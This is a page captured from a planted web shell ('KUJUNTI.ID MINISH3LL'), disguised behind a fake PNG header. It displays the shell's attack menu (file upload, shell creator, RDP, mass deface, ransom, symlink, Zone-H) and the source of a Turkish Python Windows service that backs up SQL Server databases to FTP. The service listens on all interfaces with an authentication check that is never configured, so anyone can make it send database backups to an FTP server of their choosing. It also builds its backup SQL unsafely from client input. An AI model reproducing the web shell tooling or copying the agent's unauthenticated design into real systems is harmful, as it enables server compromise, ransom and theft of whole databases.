\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMaster/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMaster/windows_sql_socket_agent.py


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Windows SQL Server Yedekleme Socket Agent'ı
-------------------------------------------
Bu script Windows SQL Server üzerinde servis olarak çalışır ve socket üzerinden komut alır.
Socket'ten aldığı bilgilere göre SQL Server veritabanı yedeği alır,
sıkıştırır ve FTP sunucusuna yükler.

Kullanım:
- Windows'da servis olarak çalıştırılır
- TCP/IP socket üzerinden komut dinler
- Bu komutlar: veritabanı adı, MSSQL sunucu bilgisi, FTP bağlantı bilgileri
- Yerel temp dizinine yedeği alır
- Yedeği sıkıştırır
- FTP sunucusuna aktarır
- Sonuç bilgisini socket üzerinden döndürür
"""
import os
import sys
import time
import shutil
import logging
import socket
import subprocess
import tempfile
import json
import zipfile
import ftplib
import psutil
import signal
import threading
import win32serviceutil
import win32service
import win32event
import servicemanager
import socket
from pathlib import Path
from datetime import datetime

# Loglama ayarları
LOG_FILE = "C:\\yedekledb24\\sql_socket_agent.log"
LOG_DIR = os.path.dirname(LOG_FILE)

if not os.path.exists(LOG_DIR):
    try:
        os.makedirs(LOG_DIR, exist_ok=True)
    except:
        LOG_FILE = os.path.join(tempfile.gettempdir(), "sql_socket_agent.log")

logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler()
    ]
)
logger = logging.getLogger("win_sql_socket_agent")

# Agent yapılandırması - varsayılan değerler
# Bu değerler agent_config.ini dosyasından okunabilir (varsa)
CONFIG = {
    "socket_host": "0.0.0.0",    # Tüm arayüzlerden dinle
    "socket_port": 9090,         # TCP 9090 portunu kullan
    "temp_dir": "C:\\temp\\sqlbackups",
    "min_free_space_gb": 10,     # GB cinsinden minimum boş alan
    "sqlcmd_path": r"C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE",
    "max_connections": 5,        # Aynı anda maksimum istemci sayısı
    "socket_timeout": 3600       # 1 saat (büyük veritabanları için)
}

# agent_config.ini dosyasından yapılandırma yükle (varsa)
try:
    import configparser
    import os.path
    
    # Uygulama dizini veya çalışma dizinindeki config dosyasını kontrol et
    config_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'agent_config.ini')
    if not os.path.exists(config_file):
        config_file = 'agent_config.ini'
        
    if os.path.exists(config_file):
        logger.info(f"Yapılandırma dosyası yükleniyor: {config_file}")
        
        config = configparser.ConfigParser()
        config.read(config_file)
        
        if 'Agent' in config:
            agent_config = config['Agent']
            
            # String ayarları
            if 'SocketHost' in agent_config:
                CONFIG["socket_host"] = agent_config['SocketHost']
                
            if 'TempDir' in agent_config:
                CONFIG["temp_dir"] = agent_config['TempDir']
                
            if 'SqlcmdPath' in agent_config:
                CONFIG["sqlcmd_path"] = agent_config['SqlcmdPath']
            
            # Integer ayarları
            if 'SocketPort' in agent_config:
                CONFIG["socket_port"] = int(agent_config['SocketPort'])
                
            if 'MinFreeSpaceGB' in agent_config:
                CONFIG["min_free_space_gb"] = int(agent_config['MinFreeSpaceGB'])
                
            if 'MaxConnections' in agent_config:
                CONFIG["max_connections"] = int(agent_config['MaxConnections'])
                
            if 'SocketTimeout' in agent_config:
                CONFIG["socket_timeout"] = int(agent_config['SocketTimeout'])
        
        # Log ayarlarını güncelle
        if 'Logging' in config:
            log_config = config['Logging']
            
            if 'LogFile' in log_config:
                # Var olan log handler'ları temizle
                for handler in logger.handlers[:]:
                    logger.removeHandler(handler)
                
                # Log dizinini oluştur (gerekirse)
                log_file = log_config['LogFile']
                log_dir = os.path.dirname(log_file)
                if log_dir and not os.path.exists(log_dir):
                    os.makedirs(log_dir, exist_ok=True)
                
                # Yeni handler'ları yapılandır
                logging.basicConfig(
                    level=getattr(logging, log_config.get('LogLevel', 'INFO')),
                    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
                    handlers=[
                        logging.FileHandler(log_file),
                        logging.StreamHandler()
                    ]
                )
                logger = logging.getLogger("win_sql_socket_agent")
        
        logger.info("Yapılandırma başarıyla yüklendi")
except Exception as e:
    logger.warning(f"Yapılandırma dosyası yüklenemedi: {str(e)}")
    logger.warning("Varsayılan yapılandırma kullanılıyor...")

def check_disk_space(path, min_gb=10):
    """
    Belirtilen dizinde yeterli boş alan olup olmadığını kontrol eder.
    
    Args:
        path (str): Kontrol edilecek dizin
        min_gb (int): Minimum GB cinsinden boş alan
        
    Returns:
        bool: Yeterli alan varsa True, yoksa False
    """
    # Dizin yoksa oluştur
    os.makedirs(path, exist_ok=True)
    
    # Disk alanını kontrol et
    free_bytes = psutil.disk_usage(path).free
    free_gb = free_bytes / (1024**3)  # Byte -> GB
    
    logger.info(f"Disk kontrolü: {path} dizininde {free_gb:.2f} GB boş alan var.")
    
    return free_gb >= min_gb

def perform_sql_backup(db_name, backup_file, server="localhost"):
    """
    SQL Server veritabanının yedeğini alır.
    
    Args:
        db_name (str): Veritabanı adı
        backup_file (str): Yedek dosyasının tam yolu
        server (str): SQL Server adı veya IP adresi
        
    Returns:
        bool: Başarılı ise True, değilse False
    """
    # Yedekleme SQL komutu
    backup_command = f"""
    BACKUP DATABASE [{db_name}] 
    TO DISK = N'{backup_file}' 
    WITH NOFORMAT, NOINIT, 
    NAME = N'{db_name}_backup', 
    SKIP, NOREWIND, NOUNLOAD, STATS = 10
    """
    
    # SQL dosyası oluştur
    sql_file = os.path.join(tempfile.gettempdir(), f"backup_{db_name}_{int(time.time())}.sql")
    with open(sql_file, 'w') as f:
        f.write(backup_command)
    
    # SQLCMD komutunu belirle
    sqlcmd_path = CONFIG["sqlcmd_path"]
    if not os.path.exists(sqlcmd_path):
        # Alternatif konumları dene
        alt_paths = [
            r"C:\Program Files\Microsoft SQL Server\110\Tools\Binn\SQLCMD.EXE",  # SQL 2012
            r"C:\Program Files\Microsoft SQL Server\120\Tools\Binn\SQLCMD.EXE",  # SQL 2014
            r"C:\Program Files\Microsoft SQL Server\130\Tools\Binn\SQLCMD.EXE",  # SQL 2016
            r"C:\Program Files\Microsoft SQL Server\140\Tools\Binn\SQLCMD.EXE",  # SQL 2017
            r"C:\Program Files\Microsoft SQL Server\150\Tools\Binn\SQLCMD.EXE",  # SQL 2019
            "sqlcmd.exe"  # PATH'te varsa
        ]
        
        for path in alt_paths:
            if os.path.exists(path):
                sqlcmd_path = path
                break
                
        if not os.path.exists(sqlcmd_path) and sqlcmd_path != "sqlcmd.exe":
            sqlcmd_path = "sqlcmd.exe"  # Son çare
    
    # SQLCMD ile yedeği al
    try:
        logger.info(f"SQL Backup başlatılıyor: {db_name} ({server})")
        
        cmd = [
            sqlcmd_path,
            '-S', server,
            '-E',  # Windows Authentication
            '-i', sql_file,
            '-b'   # Hata durumunda çıkış
        ]
        
        process = subprocess.run(cmd, capture_output=True, text=True, timeout=3600)
        
        # SQL dosyasını temizle
        if os.path.exists(sql_file):
            os.remove(sql_file)
        
        # Başarı kontrolü
        if process.returncode != 0:
            logger.error(f"SQL Backup hatası: {process.stderr}")
            return False, process.stderr
        
        # Dosya varlığını ve boyutunu kontrol et
        if not os.path.exists(backup_file):
            error_msg = "Yedek dosyası oluşturulamadı."
            logger.error(error_msg)
            return False, error_msg
            
        if os.path.getsize(backup_file) == 0:
            error_msg = "Yedek dosyası boş (0 byte)."
            logger.error(error_msg)
            return False, error_msg
        
        file_size = os.path.getsize(backup_file)
        logger.info(f"SQL Backup başarılı: {db_name} -> {backup_file} ({file_size/1024/1024:.2f} MB)")
        return True, f"Yedekleme başarılı: {file_size/1024/1024:.2f} MB"
        
    except subprocess.TimeoutExpired:
        logger.error(f"SQL Backup zaman aşımı: {db_name}")
        return False, "Yedekleme zaman aşımı - 1 saat"
    except Exception as e:
        logger.error(f"SQL Backup işleminde hata: {str(e)}")
        # SQL dosyasını temizlemeyi dene
        if os.path.exists(sql_file):
            os.remove(sql_file)
        return False, str(e)

def compress_file(input_file, output_file=None):
    """
    Dosyayı ZIP formatında sıkıştırır
    
    Args:
        input_file (str): Sıkıştırılacak dosya
        output_file (str, optional): Çıktı dosyası (None ise input + .zip)
        
    Returns:
        tuple: (bool, str) - (Başarılı ise True ve dosya yolu, değilse False ve hata mesajı)
    """
    if not output_file:
        output_file = input_file + '.zip'
    
    try:
        logger.info(f"Dosya sıkıştırılıyor: {input_file}")
        original_size = os.path.getsize(input_file)
        
        with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zipf:
            zipf.write(input_file, arcname=os.path.basename(input_file))
        
        compressed_size = os.path.getsize(output_file)
        compression_ratio = ((original_size - compressed_size) / original_size) * 100
        
        logger.info(f"Sıkıştırma tamamlandı. Oran: {compression_ratio:.2f}% kazanç")
        logger.info(f"Orijinal: {original_size/1024/1024:.2f} MB, " 
                   f"Sıkıştırılmış: {compressed_size/1024/1024:.2f} MB")
        
        return True, output_file
    except Exception as e:
        logger.error(f"Dosya sıkıştırma hatası: {str(e)}")
        return False, str(e)

def upload_to_ftp(local_file, ftp_config):
    """
    Dosyayı FTP sunucusuna yükler
    
    Args:
        local_file (str): Yerel dosya yolu
        ftp_config (dict): FTP yapılandırması (host, port, username, password, path)
        
    Returns:
        tuple: (bool, str) - (Başarılı ise True ve uzak dosya yolu, değilse False ve hata mesajı)
    """
    try:
        host = ftp_config.get('host', '')
        port = ftp_config.get('port', 21)
        username = ftp_config.get('username', '')
        password = ftp_config.get('password', '')
        remote_dir = ftp_config.get('path', '')
        
        if not host:
            return False, "FTP sunucu adresi belirtilmedi"
            
        logger.info(f"FTP yükleme başlatılıyor: {local_file} -> {host}:{port}/{remote_dir}")
        
        # Dosya adını al
        filename = os.path.basename(local_file)
        
        # Uzak yolu belirle
        if remote_dir and not remote_dir.endswith('/'):
            remote_dir += '/'
        remote_path = remote_dir + filename
        
        # FTP bağlantısı
        ftp = ftplib.FTP()
        ftp.connect(host, port)
        ftp.login(username, password)
        
        # Uzak dizin kontrolü
        if remote_dir:
            # Dizin yapısını oluştur (gerekirse)
            dirs = remote_dir.strip('/').split('/')
            for d in dirs:
                if d:
                    try:
                        ftp.mkd(d)
                    except:
                        # Dizin zaten var veya oluşturulamadı
                        pass
                    ftp.cwd(d)
            
            # Kök dizine dön
            ftp.cwd('/')
        
        # Dosyayı yükle
        with open(local_file, 'rb') as file:
            ftp.storbinary(f'STOR {remote_path}', file, blocksize=8192)
        
        ftp.quit()
        logger.info(f"FTP yükleme başarılı: {remote_path}")
        return True, remote_path
        
    except Exception as e:
        logger.error(f"FTP yükleme hatası: {str(e)}")
        return False, str(e)

def handle_client(client_socket):
    """
    İstemci bağlantısını işler
    
    Args:
        client_socket: Bağlantı soketi
    """
    agent_key = None
    # Sonuç şablonu
    result = {
        'success': False,
        'message': '',
        'steps': {
            'backup': {'success': False, 'message': ''},
            'compress': {'success': False, 'message': ''},
            'upload': {'success': False, 'message': ''}
        },
        'backup_file': '',
        'backup_size': 0,
        'compressed_size': 0,
        'timestamp': datetime.now().isoformat()
    }
    
    try:
        # Socket'i yapılandır
        client_socket.settimeout(CONFIG["socket_timeout"])
        
        # İstemciden gelen veriyi oku
        data = b""
        while True:
            chunk = client_socket.recv(4096)
            if not chunk:
                break
            data += chunk
            # JSON veri sonunu kontrol et
            if data.endswith(b'}\n'):
                break
        
        if not data:
            result['message'] = "Veri alınamadı"
            client_socket.sendall(json.dumps(result).encode() + b'\n')
            return
            
        # JSON verisini çözümle
        try:
            payload = json.loads(data.decode())
        except json.JSONDecodeError as e:
            result['message'] = f"Geçersiz JSON verisi: {str(e)}"
            client_socket.sendall(json.dumps(result).encode() + b'\n')
            return
            
        # Parametreleri al
        db_name = payload.get('database', '')
        db_server = payload.get('server', 'localhost')
        ftp_config = payload.get('ftp', {})
        agent_key = payload.get('agent_key', '')
        
        # Agent key doğrulama - güvenli bir özellik olarak kullanılabilir
        if 'required_agent_key' in CONFIG and CONFIG['required_agent_key']:
            if not agent_key or agent_key != CONFIG['required_agent_key']:
                error_msg = "Geçersiz agent anahtarı veya yetkilendirme hatası"
                logger.warning(f"{error_msg}: {agent_key}")
                result['message'] = error_msg
                client_socket.sendall(json.dumps(result).encode() + b'\n')
                return
        
        if not db_name:
            result['message'] = "Veritabanı adı belirtilmedi"
            client_socket.sendall(json.dumps(result).encode() + b'\n')
            return
            
        logger.info(f"Yedekleme görevi alındı: {db_name} ({db_server})")
        
        # Temp dizini kontrolü
        temp_dir = CONFIG['temp_dir']
        os.makedirs(temp_dir, exist_ok=True)
        
        # Disk alanı kontrolü
        if not check_disk_space(temp_dir, CONFIG['min_free_space_gb']):
            error_msg = f"Yetersiz disk alanı: {temp_dir} dizininde en az {CONFIG['min_free_space_gb']} GB boş alan gerekli"
            logger.error(error_msg)
            
            result['message'] = error_msg
            client_socket.sendall(json.dumps(result).encode() + b'\n')
            return
        
        # Yedek dosya yolunu oluştur
        timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
        backup_file = os.path.join(temp_dir, f"{db_name}_{timestamp}.bak")
        
        # ADIM 1: SQL Yedekleme
        backup_success, backup_message = perform_sql_backup(db_name, backup_file, db_server)
        result['steps']['backup'] = {
            'success': backup_success,
            'message': backup_message
        }
        
        if not backup_success:
            result['message'] = f"Yedekleme hatası: {backup_message}"
            client_socket.sendall(json.dumps(result).encode() + b'\n')
            return
            
        # Yedek dosya boyutunu kaydet
        backup_size = os.path.getsize(backup_file)
        result['backup_size'] = backup_size
        result['backup_file'] = os.path.basename(backup_file)
        
        # ADIM 2: Dosya Sıkıştırma
        compress_success, compress_result = compress_file(backup_file)
        result['steps']['compress'] = {
            'success': compress_success,
            'message': compress_result if not compress_success else "Sıkıştırma başarılı"
        }
        
        if not compress_success:
            result['message'] = f"Sıkıştırma hatası: {compress_result}"
            client_socket.sendall(json.dumps(result).encode() + b'\n')
            
            # Orjinal yedeği temizle
            try:
                os.remove(backup_file)
            except:
                pass
                
            return
            
        # Orijinal dosyayı sil, sıkıştırılmış dosyayı kullan
        compressed_file = compress_result
        try:
            os.remove(backup_file)
        except:
            pass
            
        # Sıkıştırılmış dosya boyutunu kaydet
        compressed_size = os.path.getsize(compressed_file)
        result['compressed_size'] = compressed_size
        result['backup_file'] = os.path.basename(compressed_file)
        
        # ADIM 3: FTP Yükleme
        if ftp_config:
            upload_success, upload_result = upload_to_ftp(compressed_file, ftp_config)
            result['steps']['upload'] = {
                'success': upload_success,
                'message': upload_result if not upload_success else "FTP yükleme başarılı"
            }
            
            if not upload_success:
                result['message'] = f"FTP yükleme hatası: {upload_result}"
                # Yedek başarılı, FTP hatası
                result['success'] = True
                client_socket.sendall(json.dumps(result).encode() + b'\n')
                return
        else:
            # FTP yapılandırması yoksa bu adımı atla
            result['steps']['upload'] = {
                'success': True,
                'message': "FTP yapılandırması belirtilmediği için atlandı"
            }
        
        # Tüm adımlar başarılı
        result['success'] = True
        result['message'] = "Yedekleme, sıkıştırma ve yükleme başarılı"
        
        # Sıkıştırılmış dosyayı temizle
        try:
            os.remove(compressed_file)
        except:
            pass
        
        # Sonucu gönder
        client_socket.sendall(json.dumps(result).encode() + b'\n')
        
    except Exception as e:
        logger.error(f"İstemci işleme hatası: {str(e)}")
        
        # Hata sonucunu gönder
        result['message'] = f"Beklenmeyen hata: {str(e)}"
        try:
            client_socket.sendall(json.dumps(result).encode() + b'\n')
        except:
            pass
    finally:
        # Soketi kapat
        try:
            client_socket.close()
        except:
            pass

# Socket sunucusu için global değişkenler
server = None
is_server_running = False

def stop_socket_server():
    """
    Socket sunucusunu durdurur
    """
    global server, is_server_running
    logger.info("Socket sunucusu durduruluyor...")
    
    # Sunucu çalışma bayrağını kapat
    is_server_running = False
    
    # Sunucu soketini kapat
    if server:
        try:
            server.close()
            logger.info("Socket sunucusu kapatıldı.")
        except Exception as e:
            logger.error(f"Socket kapatılırken hata: {str(e)}")

def socket_server():
    """
    Socket sunucusunu başlatır ve istemci bağlantılarını kabul eder
    """
    global server, is_server_running
    
    # Sunucu çalışma bayrağını aç
    is_server_running = True
    
    try:
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # Timeout ayarla - uygulamayı kilitlemeyi önle
        server.settimeout(1.0)  # 1 saniye timeout
        
        try:
            server.bind((CONFIG["socket_host"], CONFIG["socket_port"]))
            server.listen(CONFIG["max_connections"])
            
            logger.info(f"Socket sunucu başlatıldı. {CONFIG['socket_host']}:{CONFIG['socket_port']} adresinde dinleniyor.")
            
            while is_server_running:
                try:
                    client_sock, address = server.accept()
                    logger.info(f"Yeni bağlantı: {address[0]}:{address[1]}")
                    
                    # Her istemci için yeni bir thread başlat
                    client_thread = threading.Thread(target=handle_client, args=(client_sock,))
                    client_thread.daemon = True
                    client_thread.start()
                
                except socket.timeout:
                    # Timeout - normal, devam et ve is_server_running bayrağını kontrol et
                    continue
                except Exception as e:
                    if is_server_running:  # Sadece sunucu çalışıyorsa hata mesajı göster
                        logger.error(f"Bağlantı kabul hatası: {str(e)}")
            
            logger.info("Socket sunucusu döngüsü sonlandı.")
            
        except Exception as e:
            logger.error(f"Socket bind/listen hatası: {str(e)}")
            
    except Exception as e:
        logger.error(f"Socket sunucusu oluşturma hatası: {str(e)}")
        
    finally:
        # Sunucuyu kapat
        if server:
            try:
                server.close()
                logger.info("Socket sunucusu kapatıldı.")
            except Exception as e:
                logger.error(f"Socket kapatılırken hata: {str(e)}")
        
        # Sunucu çalışma bayrağını kapat
        is_server_running = False

class SqlBackupService(win32serviceutil.ServiceFramework):
    """
    Windows servisi olarak SQL Server Backup Socket Agent
    """
    _svc_name_ = "SQLBackupSocketAgent"
    _svc_display_name_ = "YedekleDB24 SQL Server Backup Agent"
    _svc_description_ = "YedekleDB24 için SQL Server Yedekleme Socket Agent Servisi"
    
    def __init__(self, args):
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
        socket.setdefaulttimeout(60)
        self.is_running = False
        self.server_thread = None
        
    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        # Servisi durduruyor olduğumuzu log'a yaz
        logger.info("SQL Backup Socket Agent servisi durduruluyor...")
        # Çalışma bayrağını kapat
        self.is_running = False
        # Durma olayını ayarla
        win32event.SetEvent(self.hWaitStop)
        # Server thread'i durdurmaya çalış
        try:
            stop_socket_server()
        except Exception as e:
            logger.error(f"Socket server durdurulurken hata: {str(e)}")
            
    def SvcDoRun(self):
        # Önce SERVICE_RUNNING olarak bildir (önemli - Windows servisi timeout'a düşmemesi için)
        self.ReportServiceStatus(win32service.SERVICE_RUNNING)
        
        # Başladığımızı log'a yaz
        servicemanager.LogMsg(
            servicemanager.EVENTLOG_INFORMATION_TYPE,
            servicemanager.PYS_SERVICE_STARTED,
            (self._svc_name_, '')
        )
        
        # Çalışma bayrağını aç
        self.is_running = True
        
        # Ana servis fonksiyonunu çağır
        self.main()
    
    def main(self):
        """
        Servis ana döngüsü
        """
        logger.info("SQL Backup Socket Agent servisi başlatıldı.")
        
        # Socket sunucusunu ayrı thread'de başlat
        self.server_thread = threading.Thread(target=socket_server)
        self.server_thread.daemon = True
        self.server_thread.start()
        
        # Servis durdurana kadar çalış
        while self.is_running:
            # Durma sinyali kontrol et
            if win32event.WaitForSingleObject(self.hWaitStop, 5000) == win32event.WAIT_OBJECT_0:
                break
        
        logger.info("SQL Backup Socket Agent servisi durduruldu.")

def main():
    """
    Konsol uygulaması olarak çalıştırma
    """
    if len(sys.argv) > 1:
        win32serviceutil.HandleCommandLine(SqlBackupService)
        return
    
    # Servis olarak değil, konsol uygulaması olarak çalıştır
    logger.info("SQL Backup Socket Agent konsol uygulaması olarak başlatıldı.")
    logger.info("Bu uygulamayı bir Windows servisi olarak yüklemek için:")
    logger.info("python windows_sql_socket_agent.py install")
    logger.info("python windows_sql_socket_agent.py start")
    
    # CTRL+C işleyici
    def signal_handler(sig, frame):
        logger.info("Uygulama durduruluyor...")
        sys.exit(0)
    
    signal.signal(signal.SIGINT, signal_handler)
    
    # Socket sunucusunu başlat
    socket_server()

if __name__ == "__main__":
    main()

© KUJUNTI.ID